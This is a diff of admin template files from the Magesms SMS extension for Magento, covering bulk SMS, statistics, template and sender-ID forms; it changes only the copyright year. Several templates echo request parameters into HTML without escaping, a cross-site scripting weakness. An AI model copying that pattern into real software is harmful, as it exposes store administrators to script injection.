  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('Send SMS'); ?></h2><p><?php echo Mage::helper('magesms')->__('Send SMS or bulk SMS. Enter mobile numbers or upload CSV file.'); ?></p><div id="magesms"><form name="formSMS" id="magesms_sendsms" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/send') ?>" enctype="multipart/form-data" method="post"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Bulk SMS text'); ?></h4><span class="right"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'saveTemplate')); ?>" title="<?php echo Mage::helper('magesms')->__('Save template'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Save template'); ?>]</a>&nbsp;&nbsp;&nbsp;<a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'loadTemplate')); ?>" title="<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>]</a></span></div><div class="fieldset"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div style="float: left;margin-right:30px;width:450px"><label for="text"><?php echo Mage::helper('magesms')->__('Enter SMS text'); ?></label><br /><div class="margin-form"><textarea name="text" id="text" class="required-entry input-text" style="width:420px; height:135px;"><?php echo $this->getRequest()->getParam('text'); ?></textarea></div><div class="clear"></div><span style="font-size:10px;"><?php echo Mage::helper('magesms')->__('Possible variables:'); ?><br /></span><?php echo $this->getSelectStore(); ?><span style="font-size:10px;"><div id="notice"><?php echo $this->getNotice(); ?></div></span></div><div style="float: left;margin-right:30px;"><label for="text"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="labelSMS"></span>)</label><br /><div class="margin-form"><textarea name="textfake" id="textfake" disabled="disabled" class="required-entry input-text" style="width:420px; height:135px;border:1px solid grey;"></textarea></div></div><div style="float: left;margin-top:1.5em;"><div class="margin-form"><input id="unicode" type="checkbox" value="1" name="unicode" <?php echo $this->getRequest()->getParam('unicode') ? 'checked' : ''; ?> /><label for="unicode"><?php echo Mage::helper('magesms')->__(' Unicode '); ?></label><span style="cursor:help;text-decoration:underline;" title="<?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?>" onclick="popup_title(this)">?</span></div><div class="margin-form"><input type="hidden" value="0" name="unique" /><input id="unique" type="checkbox" value="1" name="unique" <?php echo $this->getRequest()->getParam('unique') === '0' ? '' : 'checked'; ?> /><label for="unique"><?php echo Mage::helper('magesms')->__('Remove duplicate numbers'); ?></label></div><div class="margin-form" style="margin-top: 10px"><input id="sendlater" type="checkbox" value="1" onchange="sendlaterx(this)" name="sendlater" <?php echo $this->getRequest()->getParam('sendlater') ? 'checked' : ''; ?> /><label for="sendlater"><?php echo Mage::helper('magesms')->__(' Send later '); ?></label></div><div class="margin-form sendlater-form" id="sendlater-form" style="display: none; padding: 5px 0 0 20px"><label for="date"><?php echo Mage::helper('magesms')->__('Date:'); ?></label><input type="text" style="width: 100px;" class="input-text validate-sendlater-datumodesl" value="<?php echo $this->getRequest()->getParam('datumodesl', Mage::app()->getLocale()->date(Mage::getModel('core/date')->timestamp()+24*60*60, null, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM))); ?>" id="datumodesl" name="datumodesl"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_trig" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;<label for="date"><?php echo Mage::helper('magesms')->__('Time: '); ?></label><select name="datumodesl_hour"><?php for($hour=1;$hour<=24;$hour++): ?><option value="<?php echo $hour; ?>" <?php echo $this->getRequest()->getParam('datumodesl_hour', 9) == $hour ? 'selected' : ''; ?>><?php printf('%02d', $hour); ?></option><?php endfor; ?></select>:<select name="datumodesl_min"><?php for($min=0;$min<=59;$min++): ?><option value="<?php echo $min; ?>" <?php echo $this->getRequest()->getParam('datumodesl_min', 00) == $min ? 'selected' : ''; ?>><?php printf('%02d', $min); ?></option><?php endfor; ?></select><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/statistics.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $type = array( 1 => Mage::helper('magesms')->__(' admin sms'), 2 => Mage::helper('magesms')->__(' customer sms'), 3 => Mage::helper('magesms')->__(' marketing sms'), 4 => Mage::helper('magesms')->__(' simple sms') ); ?><h2><?php echo Mage::helper('magesms')->__('Statistics'); ?></h2><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Statistics'); ?></h4></div><div class="fieldset grid"><form id="magesms_filter" action="<?php echo Mage::getUrl('*/*/filter') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="datefrom"><?php echo Mage::helper('magesms')->__('Date from:'); ?></label><input type="text" style="width: 100px;" class="input-text" value="<?php echo $this->getFilterData('datefrom') ? $this->getFilterData('datefrom') : Mage::app()->getLocale()->date(Mage::getModel('core/date')->timestamp(), null, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT)); ?>" id="datefrom" name="datefrom"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_from" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<label for="dateto"><?php echo Mage::helper('magesms')->__('to: '); ?></label><input type="text" style="width: 100px;" class="input-text" value="<?php echo $this->getFilterData('dateto') ? $this->getFilterData('dateto') : Mage::app()->getLocale()->date(Mage::getModel('core/date')->timestamp(), null, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT)); ?>" id="dateto" name="dateto"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_to" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<select name="status" id="status"><option value=""><?php echo Mage::helper('magesms')->__('Status'); ?></option><?php foreach( Mage::getSingleton('magesms/sms')->status() as $id=>$stat ): ?><option value="<?php echo $id; ?>" <?php echo $id == $this->getFilterData('status') ? 'selected' : ''; ?>><?php echo $stat->name; ?></option><?php endforeach; ?></select><input type="hidden" name="eshopsms1" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms1" id="eshopsms1" value="1" <?php echo $this->getRequest()->getParam('eshopsms1') == null || $this->getRequest()->getParam('eshopsms1') == 1 ? 'checked' : ''; ?> /><label for="eshopsms1"><?php echo Mage::helper('magesms')->__(' admin sms'); ?></label><input type="hidden" name="eshopsms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms" id="eshopsms" value="1" <?php echo $this->getRequest()->getParam('eshopsms') == null || $this->getRequest()->getParam('eshopsms') == 1 ? 'checked' : ''; ?> /><label for="eshopsms"><?php echo Mage::helper('magesms')->__(' customer sms'); ?></label><input type="hidden" name="bulksms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms" id="bulksms" value="1" <?php echo $this->getRequest()->getParam('bulksms') == null || $this->getRequest()->getParam('bulksms') == 1 ? 'checked' : ''; ?> /><label for="bulksms"><?php echo Mage::helper('magesms')->__(' marketing sms'); ?></label><input type="hidden" name="bulksms2" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms2" id="bulksms2" value="1" <?php echo $this->getRequest()->getParam('bulksms2') == null || $this->getRequest()->getParam('bulksms2') == 1 ? 'checked' : ''; ?> /><label for="bulksms2"><?php echo Mage::helper('magesms')->__(' simple sms'); ?></label>&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" value="<?php echo Mage::helper('magesms')->__('Show'); ?>" class="form-button" /></div><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $type = array( 1 => Mage::helper('magesms')->__(' admin sms'), 2 => Mage::helper('magesms')->__(' customer sms'), 3 => Mage::helper('magesms')->__(' marketing sms'), 4 => Mage::helper('magesms')->__(' simple sms') ); ?><h2><?php echo Mage::helper('magesms')->__('Statistics'); ?></h2><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Statistics'); ?></h4></div><div class="fieldset grid"><form id="magesms_filter" action="<?php echo Mage::getUrl('*/*/filter') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="datefrom"><?php echo Mage::helper('magesms')->__('Date from:'); ?></label><input type="text" style="width: 100px;" class="input-text" value="<?php echo $this->getFilterData('datefrom') ? $this->getFilterData('datefrom') : Mage::app()->getLocale()->date(Mage::getModel('core/date')->timestamp(), null, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT)); ?>" id="datefrom" name="datefrom"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_from" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<label for="dateto"><?php echo Mage::helper('magesms')->__('to: '); ?></label><input type="text" style="width: 100px;" class="input-text" value="<?php echo $this->getFilterData('dateto') ? $this->getFilterData('dateto') : Mage::app()->getLocale()->date(Mage::getModel('core/date')->timestamp(), null, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT)); ?>" id="dateto" name="dateto"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_to" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<select name="status" id="status"><option value=""><?php echo Mage::helper('magesms')->__('Status'); ?></option><?php foreach( Mage::getSingleton('magesms/sms')->status() as $id=>$stat ): ?><option value="<?php echo $id; ?>" <?php echo $id == $this->getFilterData('status') ? 'selected' : ''; ?>><?php echo $stat->name; ?></option><?php endforeach; ?></select><input type="hidden" name="eshopsms1" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms1" id="eshopsms1" value="1" <?php echo $this->getRequest()->getParam('eshopsms1') == null || $this->getRequest()->getParam('eshopsms1') == 1 ? 'checked' : ''; ?> /><label for="eshopsms1"><?php echo Mage::helper('magesms')->__(' admin sms'); ?></label><input type="hidden" name="eshopsms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms" id="eshopsms" value="1" <?php echo $this->getRequest()->getParam('eshopsms') == null || $this->getRequest()->getParam('eshopsms') == 1 ? 'checked' : ''; ?> /><label for="eshopsms"><?php echo Mage::helper('magesms')->__(' customer sms'); ?></label><input type="hidden" name="bulksms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms" id="bulksms" value="1" <?php echo $this->getRequest()->getParam('bulksms') == null || $this->getRequest()->getParam('bulksms') == 1 ? 'checked' : ''; ?> /><label for="bulksms"><?php echo Mage::helper('magesms')->__(' marketing sms'); ?></label><input type="hidden" name="bulksms2" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms2" id="bulksms2" value="1" <?php echo $this->getRequest()->getParam('bulksms2') == null || $this->getRequest()->getParam('bulksms2') == 1 ? 'checked' : ''; ?> /><label for="bulksms2"><?php echo Mage::helper('magesms')->__(' simple sms'); ?></label>&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" value="<?php echo Mage::helper('magesms')->__('Show'); ?>" class="form-button" /></div><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/template/form.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><div class="fieldset"><form method="post" id="magesms_template" onsubmit="window.submitSaveTemplate($('magesms_template')); return false;" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action' => 'save')); ?>"><div class="margin-form"><label for="name"><?php echo Mage::helper('magesms')->__('Template Name'); ?>: </label><input class="input-text" type="text" name="saveName" id="saveName" value="" /><input type="hidden" id="type" name="type" value="<?php echo Mage::app()->getRequest()->getParam('type', 0); ?>" /><button type="button" onclick="window.submitSaveTemplate($('magesms_template'));" title="<?php echo Mage::helper('magesms')->__('Save template'); ?>" name="submitSaveTemplate" class="form-button" /><span><span><span><?php echo Mage::helper('magesms')->__('Save template'); ?></span></span></span></button></div></form></div>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><div class="fieldset"><form method="post" id="magesms_template" onsubmit="window.submitSaveTemplate($('magesms_template')); return false;" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action' => 'save')); ?>"><div class="margin-form"><label for="name"><?php echo Mage::helper('magesms')->__('Template Name'); ?>: </label><input class="input-text" type="text" name="saveName" id="saveName" value="" /><input type="hidden" id="type" name="type" value="<?php echo Mage::app()->getRequest()->getParam('type', 0); ?>" /><button type="button" onclick="window.submitSaveTemplate($('magesms_template'));" title="<?php echo Mage::helper('magesms')->__('Save template'); ?>" name="submitSaveTemplate" class="form-button" /><span><span><span><?php echo Mage::helper('magesms')->__('Save template'); ?></span></span></span></button></div></form></div>
app/design/adminhtml/default/default/template/topefekt/magesms/wizard-alternative.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><h2><?php echo Mage::helper('magesms')->__('SMS Settings - Select Text sender ID for '); ?><?php echo $this->route->getAreaText(); ?></h2><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php echo Mage::helper('magesms')->__('Text sender ID settings'); ?></h4></div><div class="fieldset grid"><form id="magesms_sender" action="<?php echo $this->getUrl('*/*/savesenderalternative'); ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input name="id" type="hidden" value="<?php echo $this->getRequest()->getParam('id'); ?>" /><?php $maxlength = 11; $desc = Mage::helper('magesms')->__('max. 11 characters'); ?><table class="data" style="width: auto;"><col /><col width="200"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('Store'); ?></th><th><?php echo Mage::helper('magesms')->__('Text sender ID'); ?></th></tr><?php foreach($this->stores as $store): ?><tr><td><?php echo $store->getName(); ?></td><td><input type="text" class="validate-sender input-text" id="store_group_<?php echo $store->getId(); ?>" title="<?php echo $desc;?>" maxlength="<?php echo $maxlength;?>" name="store_group[<?php echo $store->getId(); ?>]" value="<?php echo $store->getTextsenderAlternative() ? $store->getTextsenderAlternative() : $store->getTextsender(); ?>" /></td></tr><?php endforeach; ?></table><div class="margin-form"><input type="button" onclick="senderForm.submit();" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></form><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><h2><?php echo Mage::helper('magesms')->__('SMS Settings - Select Text sender ID for '); ?><?php echo $this->route->getAreaText(); ?></h2><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php echo Mage::helper('magesms')->__('Text sender ID settings'); ?></h4></div><div class="fieldset grid"><form id="magesms_sender" action="<?php echo $this->getUrl('*/*/savesenderalternative'); ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input name="id" type="hidden" value="<?php echo $this->getRequest()->getParam('id'); ?>" /><?php $maxlength = 11; $desc = Mage::helper('magesms')->__('max. 11 characters'); ?><table class="data" style="width: auto;"><col /><col width="200"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('Store'); ?></th><th><?php echo Mage::helper('magesms')->__('Text sender ID'); ?></th></tr><?php foreach($this->stores as $store): ?><tr><td><?php echo $store->getName(); ?></td><td><input type="text" class="validate-sender input-text" id="store_group_<?php echo $store->getId(); ?>" title="<?php echo $desc;?>" maxlength="<?php echo $maxlength;?>" name="store_group[<?php echo $store->getId(); ?>]" value="<?php echo $store->getTextsenderAlternative() ? $store->getTextsenderAlternative() : $store->getTextsender(); ?>" /></td></tr><?php endforeach; ?></table><div class="margin-form"><input type="button" onclick="senderForm.submit();" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></form><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/wizard-edit.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $currency = $this->profile->currency; ?><?php $type = Mage::app()->getRequest()->getParam('type'); if (!$type && ($id = Mage::app()->getRequest()->getParam('id'))) { $type = Mage::getModel('magesms/routes')->load($id)->getType(); } ?><?php if (!($lang = Mage::app()->getRequest()->getParam('country0'))) { $lang = $this->profile->lang; } if (Mage::registry('routes')) { $routes = array(Mage::registry('routes')); } else { $routes = array(Mage::getModel('magesms/routes')->load($id)); $lang = $routes[0]->getAreaText(); } ?><h2><?php echo Mage::helper('magesms')->__('SMS Settings'); ?></h2><p><?php echo Mage::helper('magesms')->__('Define SMS Sender Type for each country separately (Text sender ID, Own mobile number or System number). SMS price depends on the recipient country, selected SMS sender type and amount of payment. In countries with undefined SMS sender type will be used System number sender type.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php if ($type == 'admin'): ?><?php echo Mage::helper('magesms')->__('Admin SMS settings'); ?><?php else: ?><?php echo Mage::helper('magesms')->__('Customer SMS settings'); ?><?php endif; ?></h4></div><div class="fieldset grid"><form id="magesms_login" action="<?php echo $this->getUrl('*/*/addcountry'.$type) ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="country"><?php echo Mage::helper('magesms')->__('Select country: '); ?></label><select name="country0" id="country"><?php foreach( Mage::getSingleton('magesms/country_area')->getCollection()->setOrder('country_name', 'ASC') as $country ): ?><option value="<?php echo $country->getCountryName(); ?>" <?php echo $lang == $country->getCountryName() ? 'selected' : ''; ?>><?php echo $country->getCountryName(); ?> (+<?php echo $country->getArea(); ?>)</option><?php endforeach; ?></select><input type="submit" value="<?php echo Mage::helper('magesms')->__('ADD/CHANGE SELECTED COUNTRY'); ?>" class="form-button" /></div></form><form id="magesms_addroute" action="<?php echo $this->getUrl('*/*/addroute') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php if ($routes): ?><?php include 'wizard-list.phtml'; ?><?php endif; ?><input type="hidden" name="id" value="<?php echo $id; ?>" /><input type="hidden" name="country0" value="<?php echo $lang; ?>" /><input type="hidden" name="area" value="<?php echo $route->getArea(); ?>" /><input type="hidden" name="type" value="<?php echo $type; ?>" /><input type="button" onclick="addrouteForm.submit();" value="<?php echo Mage::helper('magesms')->__('SAVE SMS SETTINGS'); ?>" class="form-button" /></form><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $currency = $this->profile->currency; ?><?php $type = Mage::app()->getRequest()->getParam('type'); if (!$type && ($id = Mage::app()->getRequest()->getParam('id'))) { $type = Mage::getModel('magesms/routes')->load($id)->getType(); } ?><?php if (!($lang = Mage::app()->getRequest()->getParam('country0'))) { $lang = $this->profile->lang; } if (Mage::registry('routes')) { $routes = array(Mage::registry('routes')); } else { $routes = array(Mage::getModel('magesms/routes')->load($id)); $lang = $routes[0]->getAreaText(); } ?><h2><?php echo Mage::helper('magesms')->__('SMS Settings'); ?></h2><p><?php echo Mage::helper('magesms')->__('Define SMS Sender Type for each country separately (Text sender ID, Own mobile number or System number). SMS price depends on the recipient country, selected SMS sender type and amount of payment. In countries with undefined SMS sender type will be used System number sender type.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php if ($type == 'admin'): ?><?php echo Mage::helper('magesms')->__('Admin SMS settings'); ?><?php else: ?><?php echo Mage::helper('magesms')->__('Customer SMS settings'); ?><?php endif; ?></h4></div><div class="fieldset grid"><form id="magesms_login" action="<?php echo $this->getUrl('*/*/addcountry'.$type) ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="country"><?php echo Mage::helper('magesms')->__('Select country: '); ?></label><select name="country0" id="country"><?php foreach( Mage::getSingleton('magesms/country_area')->getCollection()->setOrder('country_name', 'ASC') as $country ): ?><option value="<?php echo $country->getCountryName(); ?>" <?php echo $lang == $country->getCountryName() ? 'selected' : ''; ?>><?php echo $country->getCountryName(); ?> (+<?php echo $country->getArea(); ?>)</option><?php endforeach; ?></select><input type="submit" value="<?php echo Mage::helper('magesms')->__('ADD/CHANGE SELECTED COUNTRY'); ?>" class="form-button" /></div></form><form id="magesms_addroute" action="<?php echo $this->getUrl('*/*/addroute') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php if ($routes): ?><?php include 'wizard-list.phtml'; ?><?php endif; ?><input type="hidden" name="id" value="<?php echo $id; ?>" /><input type="hidden" name="country0" value="<?php echo $lang; ?>" /><input type="hidden" name="area" value="<?php echo $route->getArea(); ?>" /><input type="hidden" name="type" value="<?php echo $type; ?>" /><input type="button" onclick="addrouteForm.submit();" value="<?php echo Mage::helper('magesms')->__('SAVE SMS SETTINGS'); ?>" class="form-button" /></form><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/wizard-list.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $id = Mage::app()->getRequest()->getParam('id', null); ?><?php $info = $routes[0]->getInfo(); ?><table cellspacing="0" class="data"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('SENDER TYPE'); ?></th><td></td><td></td><th colspan="3" class="a-center"><?php printf(Mage::helper('magesms')->__('SMS PRICE IN %s (excl. VAT)'), $currency); ?></th><td></td></tr><?php foreach($routes as $route): ?><tr class="headings"><td><b><?php echo $route->getAreaText(); ?> (+<?php echo $route->getArea(); ?>)</b><?php if ($id === null): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/edit', array('id' => $route->getId())); ?>"><img title="edit <?php echo $route->getAreaText(); ?>" alt="edit <?php echo $route->getAreaText(); ?>" style="border:0px;" name="submitAddAdmin" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/edit.gif'; ?>"></a><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/delete', array('id' => $route->getId())); ?>" onclick="return confirm('<?php echo Mage::helper('magesms')->__('Are you sure to delete').' '.$route->getAreaText().'?'; ?>')"><img title="delete <?php echo $route->getAreaText(); ?>" alt="delete <?php echo $route->getAreaText(); ?>" style="border:0px;" name="submitAddAdmin" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/delete.gif'; ?>"></a><?php endif; ?></td><th><?php echo Mage::helper('magesms')->__('NETWORK'); ?></th><th class="a-center"><?php echo Mage::helper('magesms')->__('SMS PRICE<br />IN CREDITS'); ?></th><th class="a-center"><?php echo Mage::helper('magesms')->__('payment'); ?> <?php echo $info['payment'][0][0]; ?> (<?php echo $currency; ?>)</th><th class="a-center"><?php echo $info['payment'][1][0]; ?> (<?php echo $currency; ?>)</th><th class="a-center"><?php echo $info['payment'][2][0]; ?> (<?php echo $currency; ?>)</th><th class="a-center"><?php echo Mage::helper('magesms')->__('Unicode'); ?> &nbsp;<span onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Unicode characters support (Unicode allows you to enter characters in all fonts and various symbols simultaneously. Is used for Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message)'); ?>" style="cursor:help;text-decoration:underline;">?</span></th></tr><?php $info = $route->getInfo(); foreach($info['sms'] as $sendertype => $gates): switch($sendertype) { case Topefekt_Magesms_Model_Routes::SENDER_TEXT: $sender_h = Mage::helper('magesms')->__('TEXT SENDER ID'); if ($id === null) { $add = '<b>'.$route->getData('senderID').'</b>'; if ($route->getAlternatives()) { foreach($route->getAlternatives() as $alternative) $add .= ', '.$alternative->getTextsender(); } if (!Mage::app()->isSingleStoreMode()) { $add .= '<br /><button class="form-button" onclick="location.href=\''.Mage::helper("adminhtml")->getUrl('*/*/alternative', array('id' => $route->getId())).'\'" title="'.Mage::helper('magesms')->__('ADD/CHANGE TEXT SENDER ID').'"><span><span><span>'.Mage::helper('magesms')->__('ADD/CHANGE TEXT SENDER ID').'</span></span></span></buton>'; } } else $add = Mage::helper('magesms')->__('e.g.:').' myweb.com'; $pozn = "<span style=\"font-size:10px;\">&nbsp;&nbsp;- ".$add."</span>"; break; case Topefekt_Magesms_Model_Routes::SENDER_SYSTEM: $sender_h = Mage::helper('magesms')->__('SYSTEM NUMBER'); $pozn = "<span style=\"font-size:10px;\">&nbsp;&nbsp;- ".Mage::helper('magesms')->__('e.g.:')." +420602123456</span>"; break; case Topefekt_Magesms_Model_Routes::SENDER_OWN: $sender_h = Mage::helper('magesms')->__('OWN NUMBER SENDER ID'); if ($id === null) $add = '<b>+'.$route->getData('senderID').'</b>'; else $add = Mage::helper('magesms')->__('e.g.:').' +447971796595'; $pozn = "<span style=\"font-size:10px;\">&nbsp;&nbsp;- ".$add."</span>"; break; case Topefekt_Magesms_Model_Routes::SENDER_SIM: $sender_h = Mage::helper('magesms')->__('SIM HOSTING'); $pozn = ""; break; } ?><?php foreach($gates as $gate => $networks): ?><?php if ($id === null ) { if ($route->getIsms() != $gate || $route->getSendertype() != $sendertype ) continue; } 